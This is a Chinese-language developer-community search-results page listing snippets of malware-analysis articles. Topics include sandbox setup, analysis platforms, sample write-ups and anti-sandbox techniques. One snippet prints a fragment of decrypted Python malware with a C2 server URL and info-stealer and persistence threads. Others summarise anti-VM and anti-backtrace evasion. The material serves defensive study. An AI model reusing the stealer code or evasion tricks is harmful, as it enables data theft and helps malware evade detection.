恶意样本分析沙箱创建 - 腾讯云开发者社区

文章/答案/技术大牛

发布

恶意样本 | 常用恶意软件分析平台

声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。...0x01 前言做为一名网络安全爱好者在日常工作中难免会用到一些恶意软件检测平台，用来分析一些木马样本，例如：钓鱼邮件的恶意样本分析，分析网上下载的工具是否存在木马后门，自己编写了免杀工具查看其免杀效果等...接下来，小编通过网上搜集了一些恶意软件检测的在线平台，总结如下： 0x02 恶意软件检测分析平台 VirSCAN： https://www.virscan.org VirusTotal： https:/...： https://www.maldun.com 微步在线云沙箱： https://s.threatbook.cn 腾讯哈勃分析系统： https://habo.qq.com 奇安信威胁情报中心： https...://ti.qianxin.com 大圣云沙箱检测系统： https://mac-cloud.riskivy.co

4.1K3 0

恶意样本基础分析技巧

我们需要知道这个恶意代码到底做了什么，如何进行有效检测，才能进一步消除它带来的影响。本文主要通过几个简单的步骤，分享恶意样本分析的基本方法。...---- 1、多引擎在线病毒扫描找到了一个恶意样本程序，通过多病毒引擎进行安全扫描，可以帮助你判断文件是否为恶意程序。 VirSCAN：免费多引擎在线病毒扫描1.02版，支持47个杀毒引擎。...2、文件哈希值文件哈希值是恶意代码的指纹，通过它用来确认文件是否被篡改，也可以通过HASH值查找恶意样本，一般我们也可以使用多种哈希验证文件的唯一性。 ?...可通过获取关键信息，来猜测恶意代码的功能。 ? 6、云沙箱分析将恶意样本上传到微步云沙箱，通过威胁情报、静态和动态行为分析，以发现恶意程序存在的异常。...微步云沙箱： https://s.threatbook.cn/ ? 7、动态行为分析通过火绒剑对文件行为、注册表行为、进程行为、网络行为进行分析，捕获恶意样本特征。 ?

3.1K2 0

您找到你想要的搜索结果了吗？

是的

没有找到

红蓝对抗-Cuckoo 恶意软件分析沙箱部署教程

Cuckoo Cuckoo(布谷鸟)沙箱是一个开源且免费的自动化的恶意样本分析系统。...，概述该文件在沙箱中执行时的行为,支持分析Windows, macOS, Linux, 和 Android下的恶意文件....当提交样本到cuckoo host后，cuckoo host会调度一个空闲的analysis guest节点，同时将样本传递给所选择的沙箱节点进行自动化分析，分析结束之后将沙箱节点采集到的分析数据进行汇总...等待状态变为reported说明已经分析完成，点击任务可查看分析报告总结总体来说cuckoo还是一款比较完善且专业的开源沙箱分析系统, 对于研究分析恶意软件和应急响应人员来说都是一个很不错的选择...稍有差错会导致运行失败英文界面, 需要使用者具有一定的英语基础内存分析时间太长, 基本都在半小时左右更新迭代慢(最新版本为2019年发布) 默认的规则, 样本库对恶意软件的支持较少对于新的恶意软件需要使用者自己编写

9K1 0

负载恶意软件HawkEye的VB Inject样本分析

0x01 概述恶意软件HawkEye的利用大多都是通过钓鱼邮件分发，利用office直接启动HawkEye主体或者一些经过加密的程序，本文中的VB Inject属于后者，也把重心放在了调试这个VB程序上...调用GetCommandLineW，以获取的路径为参数创建子进程： ? 调用ZwAllocateVirtualMemory在指定进程分配内存： ?...0x05 样本主体在之前的行为监控中，注意到，样本在C:\User\user\AppData\Romaing\目录下生成了三个文件 pid.txt，pidloc.txt，WindowsUpdate.exe...样本的VB代码只相当于一个外壳，运行时解密、创建子进程、注入进程等。提取出来的这个PE载入ExeinfoPE，发现这个程序是.NET Reactor类型的代码混淆。 ?...反编译成功后，发现该程序是恶意软件HawkEye，用于凭据窃取，包括电子邮件Web浏览器，Bitcoin钱包，反病毒检查，键盘记录等。

1.9K1 0

记一次py恶意样本分析实战

原文链接：https://xz.aliyun.com/news/19111打开py文件，发现样本包含了很长一段的payload，经过多层解压后通过exec来执行代码。...exec是恶意样本常用的命令，典型搭配是先用compile将字节串/字符串编译成可执行对象，再用exec触发执行；常见变体包括：eval/exec混用、getattr(__builtins__, 'exec...Step2-隐藏字符处理下面进入第二部分的分析我们可以通过几种方式验证：输出一下payload的长度；打印hex形式发现确有问题，很多不正常的字符。...compile(..., '', 'exec') 常配合自定义 globals() 污染命名空间，动态执行务必隔离（沙箱/容器/只读FS）。...行为侧：沙箱内记录网络、文件、进程与模块加载轨迹；对可疑 __import__ 重绑定与 sys.modules 操作做钩子与审计。

6591 0

恶意代码分析实战六：熊猫烧香病毒样本分析

熊猫烧香行为分析查壳因为程序肯定是病毒,我就不上传杀毒网去查杀了。正常我们在分析一个未知恶意程序的时候，流程都是要先上传杀毒网看看。...导出表中分析出URLDownload函数，此函数多为下载者恶意程序。弱口令内网135端口爆破感染U盘下载者功能 135弱口令爆破密码。 U盘感染字符串关键字。恶意下载者函数。...文件监控将CreateFile添加到筛选器的“Operation”中，可以看到文件操作的行为：可以在标红处位置看见，“样本.exe”在C:\Windows\system32\drivers目录创建了文件...spoclsv.exe文件监控对于文件的监控，主要是看病毒是否将自己复制到其他目录，或者是创建输出了哪些文件等，监控如下：恶意程序会在C:\Windows\system32\drivers创建spoclsv.exe...，就有分析出样本.exe会把自身拷贝到这个目录，达到伪装隐蔽的效果。

5.2K2 0

沙箱中的恶意软件分析：剖析“Egg-xecutable”的攻击手法

Advent of Cyber 2025 第6天 | TryHackMe | 恶意软件分析 — Egg-xecutable | WriteUp免责声明：本文基于 TryHackMe 平台上托管的夺旗挑战赛...恶意软件分析是检查恶意文件以了解其功能、操作方式以及如何防御它的过程。通过分析一个恶意的文件或应用程序，我们可以确切地了解它的运作方式，从而知道如何防范它。例如，恶意文件是否会与攻击者的服务器通信？...恶意文件是否会在机器上留下痕迹？我们可以利用这些痕迹来确定该恶意软件是否曾感染过其他设备。...我们不应惧怕恶意软件，而应采取主动措施，将技术发现转化为实用的防御手段，并理解该恶意软件如何融入攻击者的技术体系中。任务1 引言我拥有访问我的沙箱环境的权限！

2101 0

Norimaci：一款针对macOS的轻量级恶意软件分析沙箱

关于Norimaci Norimaci是一款针对macOS的轻量级恶意软件分析沙箱，Norimaci使用了OpenBSM和Monitor.app的功能来监控macOS操作系统的活动（没有使用Sysinternals...在该工具的帮助下，广大研究人员可以轻松监控macOS下的恶意软件活动情况。...我们需要构建一个macOS虚拟机来执行恶意软件样本。...广大研究人员可以使用下列命令将该项目源码克隆至本地： git clone https://github.com/mnrkbys/norimaci.git 工具使用结合OpenBSM使用 1、使用sudo运行norimaci.py； 2、运行恶意软件样本...1、使用sudo运行norimaci.py； 2、Norimaci启动Monitor.py后输入密码，因为Monitor.app需要密码来安装它的kext文件； 3、运行一个恶意软件样本； 4、等待一段时间

1.7K1 0

创建简单、免费的恶意软件分析环境

接下来，我们就将使用系统管理程序创建一个单独的Windows安装程序，可以在不对自身设备或数据造成危害的情况下感染恶意软件。...此外，还应记住VM用于恶意软件运行与分析，当试图通过恶意软件感染系统时，弃用存在安全隐患的较老版本操作系统只会适得其反。...这些文件夹中的所有文件都可被VM中的恶意软件轻松窃取、感染或破坏。不要在联网VM上运行不熟悉的恶意软件样本。恶意软件可通过你的IP地址发动DDoS攻击、入侵计算机、开展金融诈骗活动。...避免在危险区域存储可执行恶意软件样本。建议将这些可能接触到你计算机的文件重命名为不可执行文件（例如.bin或.malware）或存储在不可执行目录下的webserver上。...杀毒软件仍将扫描并删除匹配恶意签名的不可执行恶意软件样本甚至记事本，建议将重要文件夹设置为白名单。

2.2K9 0

创建简单、免费的恶意软件分析环境

接下来，我们就将使用系统管理程序创建一个单独的Windows安装程序，可以在不对自身设备或数据造成危害的情况下感染恶意软件。...虽然对于简单恶意软件分析环境不作要求，但可以通过hifireF0x加载程序强化VirtualBox，防止恶意软件检测到所处的VM环境。...这些文件夹中的所有文件都可被VM中的恶意软件轻松窃取、感染或破坏。不要在联网VM上运行不熟悉的恶意软件样本。恶意软件可通过你的IP地址发动DDoS攻击、入侵计算机、开展金融诈骗活动。...避免在危险区域存储可执行恶意软件样本。建议将这些可能接触到你计算机的文件重命名为不可执行文件（例如.bin或.malware）或存储在不可执行目录下的webserver上。...杀毒软件仍将扫描并删除匹配恶意签名的不可执行恶意软件样本甚至记事本，建议将重要文件夹设置为白名单。

2.2K6 0

一个Hancitor恶意邮件活动Word文档样本的分析

与“分析一个用于传播Hancitor恶意软件的Word文档（第一部分）”【https://www.freebuf.com/articles/system/181023.html】一文中描述的现象很相似。...经过对宏文档和PE负载的分析，发现本次样本包含的宏代码与Hancitor文档宏代码有较大的变化，但是通过对内含主要PE负载文件的分析，发现二者基本一致，比如IDA反汇编后形式、代码加密执行、网络通信协议...二、恶意宏分析打开后，发现宏包含了两个窗体对象UserForm1和UserForm2，并且包含的内容都是“4d5a9000”开头的字符串，很明显这是两个PE文件。 ?...主要分为四部分的功能，一是在%appdata%目录下创建lkn子目录；二是调用kk函数把public用户桌面下的快捷方式文件移至当前用户桌面下；三是拷贝当前用户桌面下的所有快捷方式文件至“%appdata...三、结语与以往宏病毒样本相比，本次恶意宏文档具备如下的几个特点： 1、没有网络下载动作。文档内直接包含恶意负载部分，没有利用类似powershell脚本下载恶意文件。 2、没有直接进程执行动作。

2.5K1 0

小程序沙箱技术如何防范恶意代码？

零信任最早由Forrester 分析师John Kindervag于2010年提出，它既不是一项技术，也不是一款产品，而是一种新理念，基本原则是“从不信任，总是验证”。...在系统的监视下，网络中的每一个活动都被记录在案，并且经过可视化安全分析，可以有效辨别出哪些是异常账户，勒索软件和恶意操作都清清楚楚地展示在你的眼皮底下。...从云端到浏览器端，都有一种机制，这种机制就是：安全沙箱。安全沙箱属于浏览器架构层面的安全防护，有了安全沙箱的存在，可以尽可能降低攻击带来的伤害程度。...沙箱技术有很多种类，是否能称之为“安全沙箱”，则视乎其隔离的程度和自身的技术目的。...一种企业灵活再开发和使用的沙箱技术小程序化”、“安全沙箱化”被认为是其中一个基石。逻辑如下：企业的一切业务内容，表现方式就是软件化代码化。

9503 0

实战：一次Python恶意样本“urllib_parser.py”的分析

解密后的Payload代码分析：#---解密后获得的真实恶意代码---importsubprocessimportthreadingC2_SERVER="http://malicious-c2.com/...threading.Thread(target=info_stealer)t3=threading.Thread(target=persist)t1.start()t2.start()t3.start()三、动态分析在隔离的沙箱环境...进程创建：观察到创建了/bin/sh进程。持久化：在系统的crontab中成功添加了一条新的定时任务。...四、恶意行为总结该Python样本urllib_parser.py是一个功能完整的、多模块的恶意软件，其主要恶意行为包括：信息窃取：系统性收集受害主机的敏感信息，包括：系统主机名和用户名。...五、修复与加固建议立即处置：终止样本进程及其衍生的任何Shell进程。从crontab中删除恶意定时任务：crontab-e。彻底删除恶意样本文件/tmp/urllib_parser.py。

3991 0

恶意样本和威胁情报资源的分享

背景对于威胁情报的分析很大部分都是需要基于恶意样本为载体进行展开分析的，白帽研究员、二进制分析以及逆向研究员在学习和研究过程中，也需要各种类型的恶意样本进行研究分析。...3、https://tria.ge/reports/public 该平台的恶意样本量还有恶意样本的种类还是比较丰富的，同时也有对应的恶意样本的分析报告，可以结合需要进行获取恶意样本。...4、https://www.hybrid-analysis.com/ 该平台对样本分析识别是否为恶意样本，采用AV的检测方案，同时检测的指标还很多，也对恶意样本进行风险评估，并且将样本里面的攻击方案和防护方案都做分析...国内恶意样本源 1、微步在线云沙箱： https://s.threatbook.com/ 这个微步云沙箱平台的恶意样本也是各种类型都有并且样本量也很多，对恶意样本分析也很详细的。...2、奇安信威胁情报中心: https://ti.qianxin.com/ 这个平台的恶意样本和威胁情报分析还是很不错，对于威胁情报分析奇安信还是很专业的，可以结合前面平台进行分析和恶意样本获取。

2.8K4 0

恶意样本自动化配置提取初探

CAPEv2](CAPEv2/Emotet.py at f2ab891a278b2875c79b4f2916d086f870b54ed5 · kevoreilly/CAPEv2 (github.com)) 沙箱的提取代码...，在前面奇安信攻防社区-APT 恶意 DLL 分析及 C2 配置提取（子 DLL 篇）分析的基础上尝试编写自动化配置提取，如有错误还请指正。...pip install pycryptodomex pefile——应用 PE 结构模板，定位文件头和节表区的字段和数据标准库：struct、socket、itertools 编译器： vscode 样本...7f94107c9becbcc6ca42070fca7e1e63f29cdd85cbbd8953bbca32a1b4f91219 ECC 密钥提取：首先在 IDA 或 XDBG 中定位到解密的代码的特征数据区，由于之前分析得很详细了...struct.unpack 来把 4 字节格式化输出，因为一个 key 要重复对后面的数据解密使用，所以我们这里用 python 标准库 itertools 的 API itertools --- 为高效循环而创建迭代器的函数

8792 0

Hacking Team分析(二) 沙箱对抗分析

AntiCuckoo、AntiVBox、AntiVMWare(其中Cuckoo为一个虚拟化沙箱系统，VBOX和VMWare则为我们熟悉的两款虚拟机)。...安恒安全研究团队对这部分进行了分析。分析如下。...其中有如下代码：可以看到函数中创建了trampoline和pre_tramp，然后通过ret = hook_types[type].hook(h,addr,h->pre_tramp)插入了一个hook...0x02 AntiVBox AntiVBox的主要代码如下图所示: 它先创建COM对象，连接root\cimv2，然后通过select * from Win32_PnPEntity 查询 DeviceID...0x04 总结恶意程序能够利用这些反沙箱反虚拟机的方法，使其在特定虚拟机或沙箱环境下不正常执行，从而绕过沙箱的行为分析和检测。

2K4 0

134_ 移动恶意软件分析技术指南：从样本捕获到行为分析的完整流程

取证工具链 (内存取证、网络分析) └── 快照功能 (快速重置分析环境) 第二章恶意软件样本获取 2.1 样本来源渠道获取恶意软件样本的合法渠道：来源特点样本质量威胁情报平台专业分类，高价值情报...高安全厂商提供的沙箱匿名提交，避免法律风险中高学术研究机构经过筛选的研究样本高蜜罐系统实时捕获的新样本中高开源恶意软件库公开可用的已知样本中 2.2 合法与道德考量获取和分析恶意软件样本时必须遵守法律和道德规范...4.1 沙箱环境配置配置用于动态分析的Android沙箱环境： # 使用Android Studio创建模拟器 # 或使用AVD Manager命令行 # 配置模拟器网络代理到分析工具 avdmanager...7.1 分析报告结构创建结构化的恶意软件分析报告：分析报告结构： 1....动态分析 # 在沙箱中安装并运行，监控网络流量和文件系统活动 8.2 案例二：iOS恶意企业证书应用分析分析一个使用企业证书分发的iOS恶意应用： # 1.

1K1 0

恶意软件分析

⭐️前言恶意软件，改你的注册表，搞你的启动项。让他的软件自动运行，我们如何避免？我们要用process monitor分析一下！跟上爆哥的节奏！...Administrator.DESKTOP-D65239C\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup winhex查看 ☀️IDA分析...☀️分析汇编看右边，依次调用了这一条就是复制文件到启动项的罪魁祸首！！！...⭐️总结静态分析拿来总揽全局，看看大概流程动态分析，根据静态分析的字段来找，然后细看局部！当然，我们可以先用winhex这样的二进制工具看一下整体！再用od看一下需要特别关注的地方！...其次了，windbg也很棒，用来看内核程序，分析rootkit这样的内核恶意程序离不开他！

1.2K3 0

小程序沙箱技术，将恶意代码锁到“笼子”里

反正安全风险是传递的，只要有一个零部件有安全漏洞、甚至是在漫长复杂的互联网分发链路上被篡改过注入了恶意代码，你的系统就继承了所有这些风险。软件质量风险。...小程序安全沙箱类技术的盛行先说说App插件生态。...再说说小程序安全沙箱技术。如果将小程序和移动设备插件比喻成“点”，那么小程序安全沙箱技术（例如：FinClip）就是能够让一个个点组装成App的“线”。...运行在这个封闭环境中的进程，其代码不受信任，进程不能因为其自身的稳定性导致沙箱的崩溃从而影响宿主系统，进程也无法突破沙箱的安全管控以读写宿主系统的资源。...小程序容器技术便是一个非常好的「技术催化剂」，将小程序应用生态、移动设备插件生态、移动设备有机的“粘合”在一起，且Plus一个安全沙箱的机制，对软件供应链安全的端侧进行安全隔离和防护。

7924 0

恶意样本对抗栈回溯检测机制的套路浅析

最近发现有很多漏洞利用或木马程序样本会通过一些技术手段，达到使自动化检测系统或分析人员调试工具的栈回溯机制失效的目的。...在本文中我将会简单分析和推测一下这类恶意样本都是通过哪些套路来实现和栈回溯机制的对抗。需要注意的是，文中讨论的堆栈都是代指线程在用户层的堆栈，并未涉及内核层的堆栈。...0x0 准备用这两天遇到的某个样本举例来说吧。那是个 RTF 文件格式的 CVE-2015-1641 漏洞利用样本。...为调试其在 ShellCode 中创建子进程的行为，在 windbg 中给 ntdll!NtCreateUserProcess 函数下断点。...突然注意到，多次执行这个恶意样本并同样在 NtCreateUserProcess 命中断点时，这时候的 ESP 和 EBP 的值始终是 0x0900XXXX 左右的地址，而 StackBase 和 StackLimit

1.5K2 0

点击加载更多

恶意样本 | 常用恶意软件分析平台

恶意样本基础分析技巧

红蓝对抗-Cuckoo 恶意软件分析沙箱部署教程

负载恶意软件HawkEye的VB Inject样本分析

记一次py恶意样本分析实战

恶意代码分析实战六：熊猫烧香病毒样本分析

沙箱中的恶意软件分析：剖析“Egg-xecutable”的攻击手法

Norimaci：一款针对macOS的轻量级恶意软件分析沙箱

创建简单、免费的恶意软件分析环境

创建简单、免费的恶意软件分析环境

一个Hancitor恶意邮件活动Word文档样本的分析

小程序沙箱技术如何防范恶意代码？

实战：一次Python恶意样本“urllib_parser.py”的分析

恶意样本和威胁情报资源的分享

恶意样本自动化配置提取初探

Hacking Team分析(二) 沙箱对抗分析

134_ 移动恶意软件分析技术指南：从样本捕获到行为分析的完整流程

恶意软件分析

小程序沙箱技术，将恶意代码锁到“笼子”里

恶意样本对抗栈回溯检测机制的套路浅析

相关资讯

热门标签

活动推荐

运营活动

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐